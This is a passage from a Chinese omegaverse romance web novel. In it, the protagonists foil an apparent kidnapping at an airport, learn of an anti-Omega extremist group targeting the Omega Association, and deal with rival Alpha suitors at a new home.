“不确定!但是我们必须去验证,”沈之年的声音斩钉截铁,回过头去寻找那处围拢的人群,仿佛希望能穿透人墙,看到里面那个正在无声尖叫的灵魂。 “报警!”顾景深当机立断,另一只手已经摸出了手机,拇指悬在解锁键上,“你盯着那边,我来说。” 不过是这一小会的时间,那小群人已经围着他俩越走越远了, 周围所有的声音都变得模糊不清,只有那个男人的哀求声和周围人的劝和声,此刻听来无比虚伪和恐怖。沈之年死死盯着那个方向,看到那男人似乎更加用力地想将女孩拖走,女孩的身体抗拒地向后缩,却被男人和几个“热心”的围观者半推半就地裹挟着,快要离开机场了。 “他们在移动!往B出口方向!”沈之年急促地低声报告,声音紧绷得如同拉满的弓弦。 顾景深对着电话,语速极快而清晰:“星舷机场,T2航站楼国内抵达大厅,B出口附近,疑似发生拐卖案件,一名年轻女性被多名人员伪装成家庭纠纷强行带走,女性身穿……灰色男人在强行拖拽……我们已经跟上,请尽快出警!” 两人快步追了上去。那伙人移动的速度在加快,男人几乎是将女孩半抱半拖着,旁边还有两个看似同样“热心”的中年妇女,一左一右地“搀扶”着女孩,嘴里还在不停劝着:“好了好了,回家就好了,别让你男人着急……” “你看看这个孩子哭成什么样子了······” 那个小孩也抱着女孩的胳膊帮“爸爸”拖拽,“妈妈,妈妈别不要我,妈妈!” 这配合娴熟的一幕,让沈之年心底的寒气更重。 就在这时,那被拖拽着的女孩,不知从哪爆发出最后一丝力气,猛地抬起头,视线绝望地扫过混乱的人群。 刹那间,她的目光与赶来的沈之年焦急追索的目光在空中相遇。 女孩的瞳孔骤然放大,那里面是溺水之人看到浮木般的惊愕与哀求,嘴唇无声地翕动了一下。 是求救! 这一眼,彻底印证了沈之年的所有判断。 “住手!!你们在干什么!!” “他们发现我们了!快!”沈之年再也顾不得许多,快步冲了过去。 第72章 顾景深暗骂一声, 立刻紧随其后。 那个挟持着苏晴的男人也察觉到了身后的异样,以及苏晴那一瞬间的停滞和望向沈之年的眼神。 他脸色猛地一变,之前的哀求可怜瞬间消失, 取而代之的是一抹凶狠与急躁,他粗暴地推搡开前面挡路的人,低吼着:“让开!都让开!” “站住!”沈之年不顾一切地尖叫起来,声音划破机场大厅的穹顶, “拦住他们!他们是人贩子!她不认识那个男的!救命啊!” “臭不要()子!少管闲事!”男人回头恶狠狠地瞪了沈之年一眼,眼神阴鸷, 加快了脚步。 顾景深一个箭步上前, 试图挡住他们的去路, 厉声喝道:“星警马上就到!你们跑不了!” 周围的人群被这突如其来的变故惊呆了,先前劝和的人们面面相觑,有些不知所措,有些则警惕地后退,原本“和谐”的劝解场面瞬间瓦解。 混乱中,另一个一直跟在旁边、之前也在“劝和”的高个子男人, 眼神一厉,突然从侧面逼近顾景深,手里似乎有什么亮闪闪的东西一闪! “景深小心!”沈之年的心提到了嗓子眼。 虽然顾景深及时闪避,但是刀锋还是划过顾景深的西服, 鲜血慢慢泅湿衬衫。 顾景深借机抓住那人的手腕, 信息素轰的一下爆开。 高级Alpha信息素带来的压力不容小觑,围观的人几乎立刻就痛苦的跪倒在地上,沈之年和顾景深刚刚标记过,身上贴了抑制贴受的影响也很大。 男人被信息素压着,恰好看向沈之年的方向, 突然不知道哪里来的力气,猛地冲向了沈之年······ 顾景深仓皇的奔向沈之年,但是已经赶不上,沈之年猛地翻身滚过这次袭击······ 就在这千钧一发之际,机场入口处传来了尖锐而熟悉的警笛声,由远及近,速度极快。 听到警笛声,那高个子男人动作一僵,挟持苏晴的灰夹克男人也明显慌乱了,试图做最后的挣扎,强行突破。 但已经晚了。 几名身穿制服的星警动作迅猛地冲了进来,如同利刃劈开混乱的人群,目标明确,直扑中心。 “星警!不许动!” 吼声带着不容置疑的威严。 混乱在几分钟内被彻底控制。 当警察从那个面如死灰的“丈夫”手中,将几乎虚脱、泪流满面的苏晴解救出来时,沈之年一直紧绷的身体才猛地一松,他瘫软在地上更加起不了身,顾景深先去扶沈之年,他的掌心温暖而稳定,带着微微的湿意,不知是沈之年的冷汗,还是他的。 苏晴被一名女警搀扶着,裹上了保温毯,她越过警察的肩膀望向沈之年,嘴唇还在颤抖,眼泪汹涌而出。 她是个漂亮的小姑娘,此刻远远的看着沈之年,哭的眼泪鼻涕都糊在脸上,像是见了信仰一样……—— 警察开始疏散人群,带离嫌疑人,现场忙碌而有序。一位警官走向沈之年和顾景深:“是你们报的警吧?需要你们跟我们去局里做个详细的笔录。” 沈之年点了点头。 他们只是目击证人,很快就结束了问讯,沈之年想多等苏晴一下,至少问问她的情况,但是苏晴却很久都没有出来。 他们做完笔录,就已是深夜。霓虹穿透窗户,在沈之年略显苍白的脸上投下明明灭灭的光影。 他靠在顾景深的肩膀,闭着眼,汲取他身上的信息素,顾景深将手轻轻覆在他冰凉的手背上,用力握了握。“吓到了?”他的声音带着不易察觉的沙哑。 “叫你慢一点,不要冲的那么靠前。” 沈之年睁开眼,摇了摇头,又点了点头。 “苏晴怎么还没出来?”沈之年往审讯室的方向看了一眼,虽然什么都看不到,“太久了。” “这不太正常……” 顾景深皱起眉头,沈之年刚刚受到了惊吓,如果可以,他不太想要沈之年为这种事情劳心,“可能太晚了,办事拖拉一点,我们先回去吧,明天我带你去见苏晴好么?” 沈之年总觉得这件事不对劲吗,不过在这里的等待确实是没有用处的,沈之年的有点迟疑的点头。 “小沈先生?您怎么在这里?” “格林警官?”沈之年有点惊讶,是在之前陈婉母女案件里面遇到的警官先生,他好像正是从苏晴的审讯室方向过来,“我在等里面的人,她是Omega协会的会员。” 沈之年说完之后,状似无意的开口,“怎么这么久了还出来?” 格林嘬了一下牙花子,很为难的表情,但是看到沈之年探究的神情,态度又不自觉的软化,“您别说出去,这好像是一桩大案子······” 格林说着就想要凑到沈之年的耳边小声说,但是看到了身后顾景深不善的目光,只能尬笑两声,又退了回去。 “苏晴她……跟我们交代了一点事。” 格林正了正神色,组织着语言,试图将苏晴那些破碎、惊恐却信息量巨大的叙述清晰地复述出来,“她说,这根本不是简单的人口拐卖。那个男人,还有今天在场协助他的几个人,包括之前被她察觉有异的几个‘热心邻居’,都属于一个……一个组织。” 格林顿了顿,吐出那个让空气都凝滞的词:“一个自称‘清道夫’的恨O组织。” “苏晴说了之后,负责案件的警官很重视,已经上报了。但苏晴说,这个组织很隐蔽,线上据点可能设在境外,成员身份虚拟,线下行动又伪装得天衣无缝,调查起来会非常困难,所以也不能提供很多的线索给我们。” “现在不能离开主要是问询陷入了难点,根据苏晴提供的线索,他们成功锁定了两名当天在机场协助的嫌疑人,并进行抓捕审讯,但主犯和核心网络依然隐藏得很深。那个灰夹克男人在审讯中表现得异常狡猾,对所有关键问题避而不谈,只承认是“家庭纠纷”,情绪激动时甚至反过来指责警方“破坏家庭”。”说到这里,格林揉了揉眉心,显然是在刚才的扯皮里面已经精疲力尽。 “现在她说的一切基本都是猜测,不能作为有效证据立案。” “如果今天实在无法取得进展,不如让我先带着苏晴回去吧,遇到这种事,她应该也吓坏了。”沈之年轻声说,他总觉得苏晴有话同他讲。 “这不合规矩。”格林脸上又露出了为难的表情。 沈之年这次没有搭话,只是微笑看着格林,微微侧身露出身后满脸不耐的顾景深。 …… 接到苏晴的时候,她显然状态好了许多, “会长!!” 苏晴满脸欣喜的跑到沈之年身边,才尴尬的发现自己认错人,“原来是小沈先生。” “你要见爸爸么,我可以带你过去。” 苏晴的眼睛猛地亮了一下,但是看了一眼外面的天色,“算了吧,太晚了,不要打扰到会长休息。” “而且我怀疑他们已经盯上我了,不能给会长带去危险。” 苏晴补充道,“也许随时都有人在监视我。让他们找到会长的住处不是一个好事情。” 苏晴说完在光脑传输给沈之年一份文件,“这是我最近搜集的资料,希望您转交给会长!” 苏晴深吸一口气,“顺便也能多一份备份,我怕万一……” 怕万一证据被拦截,怕万一调查受阻,怕万一还有更多像她一样的Omega,在无人知晓的黑暗角落里无声无息地消失。 “小沈先生,你也一定要小心!”苏晴的声音压得极低,却字字清晰,“他们不是散兵游勇,他们有纪律,有分工,线上交流用暗语,线下行动有预案。我怀疑他们内部有懂得反侦察的人,我的调查可能已经打草惊蛇。他们绑走Omega,不只是为了贩卖,更多的是……惩罚和‘改造’?或者更糟……我收集的资料在我云盘的一个加密文件夹里,密码是我大学学号加‘JC’两个字母,你回去一定要看!一定要揭发他们!还有,你救了我,他们很可能已经注意到你了……” 想到这里,苏晴忍不住打了个寒噤。窗外的流光溢彩,此刻仿佛都变成了窥伺的眼睛。 沈之年也长长吐出一口浊气,一时竟然不知道说什么,这不是小事,语言显得太过于苍白和无力。 “我先送你去一个安全的地方。”顾景深突然开口,“如果你说的是真的,那你家也并不安全,我名下有几个空公寓,你可以暂时先住进去。”—— 送苏晴的路上,车内的空气就已经变得沉重。 到沈家门前,他们必须分开,顾景深现在还不具备进沈家门的资格。 顾景深沉默了许久,再开口时,声音带着一丝颤抖:“从明天开始,我接送上下班,可以么?” 沈之年沉默,他们不应该是这样的关系,至少他从利浦星离开的时候,他不是希望他们的关系走到这个方向。 顾景深没有再坚持,只是神态有你点落寞,他能理解沈之年的想法。 “晚上尽量不要单独外出,注意周围环境。” “那我先走了。” 顾景深走的一步三回头,沈之年就站在原地看他一步一步走远。 许是信息素还没消失的缘故吧,看着顾景深的身影一点点的走远,沈之年心里满是不舍…… 刚刚结合过的Alpha 和Omega是相互需要的,他们这么恐怖的契合度,更是让这种吸引达到了一种恐怖的程度,。 沈之年不想顾景深离开,他甚至想要立刻追上去。 “别看了,人早都走远了,”林之白的声音冷不丁响在沈之年耳边, 沈之年回过头,恰好看到林之白翻了一个大大的白眼。 被哥哥当场抓包,沈之年只能抿抿嘴巴露出一个讨好的笑。 林之白的白眼要翻到天上去,“回去吧,会长在等你。” 沈之年刚要进门,又被林之白拿着抑制贴的手拦住, 林之白把信息素抑制贴塞到沈之年怀里,“贴上,一股Alpha味,熏死人了。” 第73章 沈奉月在书房等沈之年 沈之年推开门时, 手指还在微微发抖。见到父亲的那一刻,好像突然找到依靠,方才因为绑架产生的恐惧才后知后觉的涌上来。 他强迫自己镇定, 可声音还是泄露了恐惧:“爸爸,我今天遇到了一场绑架……” 正在批阅文件的沈奉月抬起头。和沈之年如出一辙蓝灰色头发一丝不苟地挽在脑后,听完沈之年急促的叙述,脸上没有一丝惊讶。 “是‘清道夫’的人。”沈奉月平静地说出这个名字, 仿佛早已等待多时。 沈之年愣在原地:“您知道?” 沈奉月无奈叹息一声,摘下眼镜, 捏捏鼻梁, “最近得到一些风声。” “他们认为现代Omega堕落、拜金、不守O道, 是社会毒瘤,他们‘清理’那些他们认为是‘劣质’的Omega——独立、高学历、事业有成、或者单纯只是不愿顺从他们那套规则的Omega。” “他们希望回到旧社会,A权至上,Omega只能顺从他们的心意,做一个生育孩子的机器,照顾家庭的保姆。”沈奉月说完之后不免叹息一声, 太荒诞了。 沈之年撇撇嘴,“现在Omega学院都没这么守旧。” 沈奉月从抽屉里取出一份文件,推到桌前。沈之年翻开,倒吸一口冷气——里面详细记录着七名Omega权益工作者近三个月来的“意外”:车祸、坠楼、失踪……每一页都触目惊心。 “对了, 苏晴也给了我一份文件, ”沈之年将苏晴的文件传给沈奉月。 按照苏晴给的提示,他顺利登录了那个加密的云盘。 文件夹里内容庞杂:有截图保存的、充斥着污言秽语和极端言论的网络社群讨论片段;有苏晴整理的失踪Omega名单,旁边标注着她们失踪前最后一次公开出现的地点与情况简述,好几个都提到了“与陌生A发生争执”、“被自称家人的人强行带走”;还有一些她凭借记忆手绘的、疑似组织成员碰头地点的草图;以及一份她自己撰写的、逻辑清晰的分析报告,详细阐述了她的怀疑依据和这个“清道夫”组织可能的运作模式。 这份文件甚至比沈奉月的还要详细。 沈奉月看完之后, 发出一声叹息, “最近他们······他们专挑我们的人下手。”沈奉月的声音依然平稳,但沈之年听出了其中压抑的愤怒。 “他们觉得现在Omega出现这样恶劣的转变,是由于Omega协会的出现,Alpha总是害怕Omega有自己的思想。” “他们在害怕我们带来的转变,那些Alpha多有趣,看起来无坚不摧,其实这么脆弱,这么容易害怕,一点点风吹草动就吓成了这样。” 沈之年看的慢一点,苏晴文件里面的内容称得上是触目惊心,沈之年久久不能回神,“现在有了证据,快点把他们抓起来。” 沈奉月无奈的摇头,“他们通过网络社群聚集,共享信息,筛选目标,然后策划这种‘当众执法’。利用家庭矛盾的幌子,利用路人的‘善意’,在光天化日之下把人绑走。” 苏晴文件里也标注了,她之前因为工作关系,接触过几个离奇失踪的女性案例,她们失踪前都曾遭遇过类似的‘公共纠纷’,她顺着线索摸查,隐约感觉到了这个网络的存在,还偷偷搜集了一些资料。 没想到……他们先发现了她,把她定为了下一个‘清理’目标。 “这种聚集方式让他们的行踪很难被发现。”沈奉月摸摸沈之年柔软的发丝,“没关系,爸爸会解决这些问题,年年 。” 沈奉月的语言好像是有魅力,沈之年的心奇异的马上就安稳了下来。 “今天,是顾景深把你送回来的吧。”冷不丁的沈奉月突然开口,沈之年刚刚安稳下来的心就又被提了起来。 尴尬, 沈之年甚至不敢大声回答,蚊子一样的“嗯。”了一声,然后就不敢去看爸爸的脸色。 沈奉月的面色没有明显改变,“如果喜欢的话,你可以让他回到身边,你可以去他那边短住一段时间。” “不用太在意别的,如果喜欢的话,可以放在身边看一看 ,试一试,不喜欢再分开,Alpha嘛,你挑拣一下,才能挑选出好的。” 沈之年却好像是没听沈奉月的话,“爸爸,这次真的很危险么?” 沈之年的面色冷凝,如果不是真的危险,沈奉月不会说出这样的话。 沈奉月的面色很平静,“他们既然盯上了Omega协会,那盯上我也是必然的,”他甚至还有心情笑,“毕竟只要我死了,问题就能解决大半,不是吗?” 沈之年后背发凉:“那您更不能留在这里了!他们既然盯上了您……” “正因如此,我才更不能走。”沈奉月走到窗前,轻轻拉开百叶窗的一条缝,“下个月,议会就要召开了。我为此筹备了整整一年。” “可是您的安全比会议重要!” 沈奉月转过身,目光如炬:“年年,你以为他们为什么要挑这个时候动手?” “能在网络世界消失无踪也并不是一件容易的事情,他们不是一群乌合之众,” 沈之年突然明白了。 这次议会沈奉月推动多项保护Omega就业的法案,一旦通过,能帮助Omega获得公平的工作机会。而“清道夫”背后的势力,正是那些极力维持性别不平等现状的既得利益者。 “他们想用恐惧让我们退却。”沈奉月的声音很轻,却字字铿锵,“我若此刻离开,就等于告诉他们:Omega协会怕了。那以后还会有千千万万个Omega被迫沉默。” “这次机会错过之后,不知道什么时候还能有。”沈奉月轻轻的摸摸沈之年的脸,“我打算在这次正式提出取消Omega学院。” “让Omega和Alpha,Beta一起 ,接受平等的教育,这次通过之后,Omega就不需要继续被迫围绕家庭打转,他们也可以在学校学到能够让他们在社会立足的技能和知识。” “只有这样,Omega才能真的走出来。” “这个社会早就应该这样了 。” “之前被迫把你送进Omega学院我一直很后悔,年年。”沈奉月看着沈之年,里面全是沈之年看不懂的情绪,“其实我有时候会想,如果当年我就成功取消Omega学院,是不是你会有不一样的人生。” 沈之年想和之前一样安慰爸爸,其实Omega学院也很好,但是他的嘴角扯扯,最后还是没能说出口。 “那我也不走。”沈之年听见自己的声音说,“我留下来陪着您。” “你留下来有什么用,”沈奉月抬起沈之年的脸直视他的眼睛,“别让爸爸担心,这些事交给我和哥哥,好么?” 罕见的,沈之年拒绝了爸爸。 “不可以,爸爸,留下你我不放心,” “留下你我才不放心,年年。”沈奉月拉起沈之年,“也许现在这个房子都不够安全,之白在薄家,我还算放心,我现在担心的只有你。” “爸爸有自己的办法,能够保护自己的安全,”沈奉月的声音平静而有力量,让人忍不住信服。 “年年,别怕他们,是他们在怕我。” 迟疑着,沈之年点头,“那爸爸,你也不能再住在家里。” 感谢顾景深离婚的时候确实大方,沈之年现在的房子之前帮助Omega们到处分发之后,他还能给自己和爸爸找到住处。 而且因为是离婚分得得住处,别人并不清楚,还算是安全—— 沈奉月和伊桑正式搬进了沈之年名下得一个小别墅,那是沈之年名下安保系数最高得一处房产。 沈之年自己搬进了另一处公寓,在市中心,距离哪里都很近。 搬家那天顾景深不知道哪里来的消息还是凑到沈之年房子里,很自来熟的开始打扫房间。 作为房子的前主人,凭借钞能力解决目前沈之年最大难题的人,最后沈之年也没能冷下脸长开口驱逐对方。 “这次不是小事情,我派人去调查了,也没能找到更多的头绪,身后的人恐怕不是凡人,年年,跟我回到家里住可以么?” “我没有其他的意思,你放心,我只是在担心你的安危。” “你别担心······” 顾景深的柑橘味道的信息素若有若无的在房间里逸散,沈之年整个人好像泡在温水里,安稳的想要睡过去。 他还是担心沈奉月,这些日子都没能睡好。 顾景深还在念念叨叨说什么危险之类的,沈之年已经歪再沙发上睡着了。 再醒过来,已经被顾景深搬到了床上。 外面有说话的声音。 “年年睡着了,你有什么事情?”一离开房间,沈之年就听到了顾景深的声音。 “有客人来么?”沈之年扬声去问。 走到玄关,是个意料之外的人,薛明亦。 见到沈之年,薛明亦的面上满是惊喜,“年年!” “他怎么在这里,我来找你,他还不让我进来,他说你睡了。” 沈之年的视线飘到顾景深的脸上,果然,顾景深可疑的转移了视线,不敢去看沈之年的眼睛。 第74章 薛明亦暗中勾了勾唇角, 不理会顾景深,长腿迈进一步,手里捧着一盆精致的蝴蝶兰, 笑容温煦:“年年,乔迁快乐。想着你这里缺些生机,带了盆花来。” 沈之年引着薛明亦进门,过了一会, 顾景深的身影也着进了客厅,他拎着一个硕大的超市购物袋, 里面满满当当地装着各色清洁用品、工具和几瓶不错的红酒, 显得无比务实。 房间里显然还在收拾, 薛明亦目光快速地在房间里掠过,随即落在客厅中的高梯上,眉头几不可察地蹙了一下。 顾景深自来熟的把东西归进厨房,然后就登上了高梯。 “挂画?”薛明亦的视线越过顾景深,落在他刚刚拿起来的画上,语气是陈述句, 仿佛这仍是他分内的事。“位置选得不对,那个位置承重有问题,墙体可能有点空。”他没看顾景深,话却像是说给所有人听的。 “年年, 我没想到你会喜欢这个风格的…画……” 其实那幅画, 沈之年确实也是第一次见,不知道顾景深从哪里搞来的。 顾景深脸上的笑容淡了些,但依旧维持着风度:“是吗?我对这些不太在行,还是薛先生心细。” “毕竟年年这里空荡了一点,我就随便选了一幅画, 年年也同意的。”顾景深看向沈之年,完全是想要他撑腰的做派。 薛明亦假装没听到顾景深的话,也不等沈之年开口,他将蝴蝶兰放在客厅茶几上,左右看了看,“放这里可以吗,年年?这花喜暖畏寒,放这里光线和温度都合适。” 星际时代,遗留下的古蓝星品种都很珍贵,之前治疗的时候,薛明亦也很喜欢带他去感受自然,询问他对自然的想法,这也不是他第一次往他家送植物了。 沈之年还没回答,顾景深已经走过来,看了茶几上那盆蝴蝶兰片刻,语气平淡无波:“就放在这里吧,我平时浇花打理也方便。” 顾景深没有刻意咬字,但是那个“我”就是这么清晰的钻进了所有人的耳朵里。 “那真是多谢顾先生了,不过没关系,这盆花我和年年会照顾好的,”薛明亦终于不再无视顾景深,咬死了我们两个字。 顾景深轻轻一笑,走到开放式厨房的岛台边,拿起一个崭新的玻璃水壶,熟练地找到烧水壶:“薛先生,真是辛苦你过来,我帮你烧点水吧,多喝热水。”他动作自然,仿佛已是这里的常客。 他晃了晃水壶,“不过你这水壶,烧水声音好像有点大?可能是基础款的通病。” “有时候金钱能够解决很多问题,我让你给你送一款好的来。”顾景深转头看向沈之年,“现在好像很多人喜欢选择经济适用款,但是年年你不需要。” 薛明亦摆好了那个花盆,正在帮沈之年扶正一个没放好的边柜,闻言头也没抬,手下用力,将柜腿稳稳塞进地毯下的一处凹陷:“基础款至少核心部件扎实,耐用。不像有些东西,功能花哨,用不了多久就得换。” “你说的新款,不会是年年才淘汰的款式吧,那年年应该不会再用的,那款虽然贵,但是不太实用,既然已经有实践证明过不合适,谁还会重蹈覆辙呢?” “你说对吧,顾先生。” 他拍了拍手上的灰,站起身,目光扫过放在岛台上的车钥匙——那他自己刚随手放下的,钥匙旁边,是顾景深刚带上来的购物袋。 沈之年看着这两个在他新家客厅里,用语言打着太极的Alpha,只觉得额角隐隐作痛。 他走过去,从顾景深带来的袋子里拿出一瓶红酒,又取下三个高脚杯。 两个人就和较劲一样,其实这个房子平时也有机器打理,哪有那么多的地方需要打扫,但是两个人就是你扫地我擦桌子的忙活,生怕显得不如对方殷勤······ “都别忙了,这些活留给机器人干。”两个人听到这句都愣在原地。 还是沈之年打破尴尬,他将酒杯放在岛台上,发出清脆的声响,“喝一杯吧,庆祝我乔迁新居,也庆祝……”他顿了顿,目光在两人之间逡巡,最终落在窗外崭新的视野上,“新的开始。” 薛明亦还是快顾景深一步,立刻接过开瓶器,动作优雅地开启红酒,笑容无可挑剔:“当然,为你高兴。”他率先为沈之年倒上一点,然后是顾景深,最后是自己。 顾景深接过酒杯,指尖在杯柄上摩挲了一下,他看着薛明亦那无可指摘的举止,好像自已经登堂入室,成为这个房子的男主人似的,忽然开口,声音不高, “薛先生对照顾人很有一套。不过,有些关系,不是靠表面的周到就能维持的。”他举起杯,视线第一次明确地、带着审视意味地对上薛明亦,“就像这房子,根基稳了,才禁得起风雨。” 薛明亦举杯的动作微微一顿,脸上的笑容终于淡去,露出一丝锐利:“顾先生似乎对‘根基’很有心得。不过,过去式终究是过去式。现在和未来,需要的是能带来阳光和生机的人。”他瞥了一眼自己带来的那盆蝴蝶兰。 两个酒杯在空中轻轻相碰,发出“叮”的一声脆响。笑容都挂在脸上,眼神却寸步不让。 沈之年不太能够适应这样的场合,尤其是两个极优Alpha同时出现的时候,哪怕贴了抑制贴,但是他们骨子里的掠夺欲还是让他们的信息素透过抑制贴在房间里争夺。 他们两个和沈之年的匹配度都太高了,沈之年的腰腿一阵阵的发软。 “好了!” 沈之年怒吼一声,两个人都老老实实地收回了信息素,“明亦,你今天是不是有事情找我。” 薛明亦是一个做事周全的人,沈之年知道,他肯定会准备一件正事做他们见面的正当理由。 “你还记得晓薇么?” 怎么可能忘记,那件事在沈之年不多的处理过的事情里,也是让他印象深刻。 “她们离开首都星了。” 沈之年甚至分不清这是一个好消息还是一个坏消息,首都星一切的资源都是最好,但是离开首都星至少证明妈妈没有辜负女儿的信任,没有再走上之前的老路。 “这是钥匙。”薛明亦把那个房子的钥匙递给沈之年。 现在已经很少有人用传统的锁了。 他们的房子当时是Omega协会帮忙找的,之前晓薇的房间不能上锁,一个实体的锁能给她带来安全感,现在薛明亦把那个房屋的钥匙被薛明亦郑重的放在了沈之年的手心。 “师妹告诉我,晓璇的心理状态也好多了。”薛明亦说着好像才想到什么似的,他转头看了顾景深一眼,“顾先生还不离开么?很晚了。” 听起来好像是有话要说的样子。 沈之年也犹豫的看向顾景深, 顾景深完全无视了两个人视线中对他离开的热切期盼,“我在厨房炖了汤,等到关火才能走,薛先生的花也送到了,怎么?还不肯离开么?” 沈之年不相信顾景深不懂他们眼神里的意思,回来的星舰上说的好好的,就做个情人,虽然沈之年也没答应,但是现在倒是又争又抢的。 “景深······” 顾景深无奈的叹息一声,深深的看了眼前的二人一眼,最后无奈的站起身,“那我先离开了。” 等到听到关门的声音。 薛明亦才正式的点明此次的来意。 “年年,你的病?”在沈之年离开首都星之前,他的问题已经有了明显的好转。 身上佩戴顾景深的信息素,情绪是完整的,如果是在薛明亦的信息素下,虽然情绪不太剧烈,但是能够完成日常的生活。 在无信息素的环境下,竟然也能够感受到一点轻微的情绪,这都是很好的变化。 其实,薛明亦认为沈之年在Omega协会的日常工作在这其中起到了很大的作用。 所以在沈之年要离开首都星的时候,虽然会中断治疗,但是他还是表示了支持。 只是没想到顾景深竟然也追过去了,他并不觉得现在的沈之年接受这么大量的信息素的一件好事,会提高沈之年感受情绪的阈值,后面再回归现实生活,可能之前的努力就又前功尽弃了。 沈之年,沉默了,他下意识的想要摸摸自己的腺体,刚刚抬起手就又用理智按下。 和顾景深临时标记之后,沈之年已经确乎痊愈了一般。 他像个正常人一样,带着顾景深的标记,能够感知到一切。 沈之年没说话,薛明亦就没有再追问,最后只是化成一声叹息,“明天来复诊吧。”—— 薛明亦离开之后,这个房子霎时间就安静了下来。 只剩下厨房里传来咕嘟咕嘟的汤锅声音。 沈之年循着声音,是一锅小吊梨汤,沈之年之前常常煮的,简单又好喝。 不知道顾景深什么时候学会的,沈之年看了一眼汤锅,有模有样的。 这汤还没煮好,应该是顾景深在他睡觉的时候煮的。 沈之年这才有时间去看看顾景深选的那幅画。 Omega学院教过艺术鉴赏,为了让Omega能够未来能够成为高贵有品位带出去也不丢人的太太。 但是这门课沈之年学的不是很好,他理解不了那些艺术品表达出来的浓烈情绪,最后只能靠记忆拿下很好的成绩。 这幅画,《但丁与贝雅特丽齐的邂逅》沈之年在课上不止一次学习过,诗人在佛罗伦萨的旧桥上,一生挚恋贝雅特丽齐的惊鸿一瞥,当时只觉得寻常,今天才第一次看到所有的光仿佛都聚集在贝雅特丽齐身上,谁看过都会透过这幅画爱上他。 之前只能看到这是一幅画,一幅画了人物的画。 他站在画前久久凝望,说不上心里在想什么,有了情绪之后好像想要的更多,不像之前那么直白。 门铃声不合时宜的响起。 透过门镜,沈之年看到顾景深的脸。 “你怎么回来了?” 顾景深无视沈之年挡在门前的身体,把自己侧成一个小片片,慢慢挪进了房子里,“我在厨房还炖了汤,怕你不知道烤干了。” 沈之年刚刚想说自己看到了,就被顾景深用一个一处即离的轻吻打断, “重要的是,我只是一个小情人,所以可以在深夜去而复返,和美丽的少爷偷情。” 第75章 沈之年被这轻轻的一吻弄得愣在了原地, 顾景深趁机钻进家里。 之后就好像害怕被沈之年赶出去似的,直接钻进了厨房就不肯离开。 不过沈之年本来就没有要赶走他的意思。 ······ 顾景深端着那个梨汤走进沈之年的房间,沈之年已经换好睡衣, 毛茸茸的一件睡衣,小绵羊一样靠在床边不知道在看些什么。 “熬好了,要不要尝尝?” 沈之年就这顾景深的手,顺从的喝下梨汤, 眼睛已经粘在了顾景深的身上。 这个房间里,两个人的信息素勾勾缠缠的绕在一起, 视线也不自觉的纠缠, 临时的标记让他们对对方不由自主的依赖。 真好看, 美貌,眼睛,鼻子,嘴巴都好看,都和心意。 沈之年渐渐的靠近顾景深······ 却被他捂住了眼睛 在黑暗中,沈之年听到顾景深的声音, “睡吧,我陪着你。” 属于Alpha的安抚信息素很快就让沈之年陷入了沉睡。 第二天,沈之年再次清醒过来已经临近中午。 顾景深还在身边。 房间里的柑橘气味暖烘烘的,沈之年整个人被泡在温水里一样, 简直舒服的想要伸一个懒腰。 顾景深没有躺在沈之年的身边, 只是靠坐在床边,牵着沈之年的手,沈之年微微一动,他就也清醒过来。 坐着睡觉不是一个好的休息方式,一醒来就腰酸背痛的, 他开口的时候声音还有些嘶哑,“醒来了?吃什么,我去做。” 沈之年只是定定的看着顾景深的眼睛,没说话。 他以为顾景深回来是为了······ 或者他总要有所图谋。 但是顾景深什么都没说,什么都没有做。 顾景深也没说话,只是细细的打量沈之年,嘴角轻轻的勾起,摸摸他的脸颊,眼睛里带着十分的缱绻,“睡一觉还挺有用的,现在看起来好多了。” 沈之年下意识的在房间里找镜子,抬起头就看向了妆台的方向,镜子里面的人小脸白的都要发光了。 在最契合的信息素里长久的睡一觉,好像把他这几天的焦虑,疲惫,不安都带走了。 从来没这么舒适过····· 但是清醒过来之后,那个组织的事情又沉甸甸地压在沈之年的心上,,。 在沈之年的心里,爸爸一直都是无所不能的,但是沈之年还是担心。 顾景深看着沈之年的脸色,“爸···叔叔让你出来是希望你能远离危险,他应该不希望你再去思考这件事了。” 沈之年当然明白这个道理,但是谁又能真的做到我完全不管。 “但是,”顾景深话锋一转,“我可以帮你,陪着你一起追查。” “我会保护好你。” “我有这个能力。”顾景深拉起沈之年的手,贴着额头,“我都会陪你的。”—— 凌晨两点,沈之年揉着发胀的太阳穴,看着光脑里面的照片和线索图。 他已经连续找了几天,眼睛里布满血丝。 “又一条死路。”他声音沙哑,侧过头不去看光脑,脸上写满了挫败,“‘清道夫’组织的第三个疑似据点,还是假的。” 顾景深递给她一杯热咖啡,眉头紧锁:“这个组织比我们想象的更谨慎。他们放出的假线索比真线索多十倍,我们的人力和时间都被耗在这些烟雾弹上。” “他们就像水银,一碰就散,转眼又聚在一起。”沈之年疲惫地靠在椅背上,“找了这么多天,连他们的边缘成员都接触不到。” 顾景深沉默片刻:“也许我们需要改变策略。” “什么策略?继续等下去我爸爸怎么办?也会有更多受害者!”沈之年激动地说,说完之后看着顾景深无辜的眼睛,随即又无力地摆摆手,“对不起,我不是冲你发火。” 他也知道顾景深已经竭尽全力。 他才把顾宗翰赶出顾家的决策圈不久,现在顾氏海一样的工作等着他,白天要工作,晚上来协调他这边的进度,他几乎不眠不休地帮他追踪“清道夫”的网络踪迹,沈之年不止一次深夜看到他书房的灯还是亮的。 但对方技术高超,每次即将锁定位置时就会断线消失。 “没关系,发脾气也好看,之前都没发过这么大的脾气。”顾景深伸出手捏捏沈之年的脸颊。 “回去休息吧,年年。”顾景深轻声道,“你又熬了几天了,你这样熬下去,就算我在你身边,身体也会垮的。” 这几天,仗着顾景深在身边能够释放信息素,沈之年累了就躺在信息素里睡一会,只需要睡一点时间就能恢复精力,然后再坐起身接接着找,就这样找了几天。 看着顾景深的眼睛,沈之年最终还是妥协了。 “那就睡一小觉啊。”—— 第二天清晨,沈之年难得地允许自己多睡了两小时,然后来到离家不远的咖啡馆,准备整理思路。 他选了靠窗的位置,打开光脑,却依然对着空白的文档发呆。 “清道夫”组织的行事模式、受害者之间的关联、可能的活动区域——所有这些分析都缺少关键一环。没有内线,没有突破口,就像在迷宫里兜圈子。 他们能够掌握的消息还是太少了。 “抱歉,这里有人吗?” 一个温和的男声打断了他的思绪。沈之年抬头,看到一个三十岁左右的男人站在桌前,指着她对面的座位。他穿着合身的深蓝色毛衣,戴着一副无框眼镜,看上去儒雅得体。 很令人舒适,是爸爸最喜欢的一类,可能是遗传,沈之年对这样沉稳儒雅的人也有种天然的好感,不自觉地就露出了笑意。 “咖啡馆满座了。”那个儒雅的男人解释道,略带歉意地笑了笑。 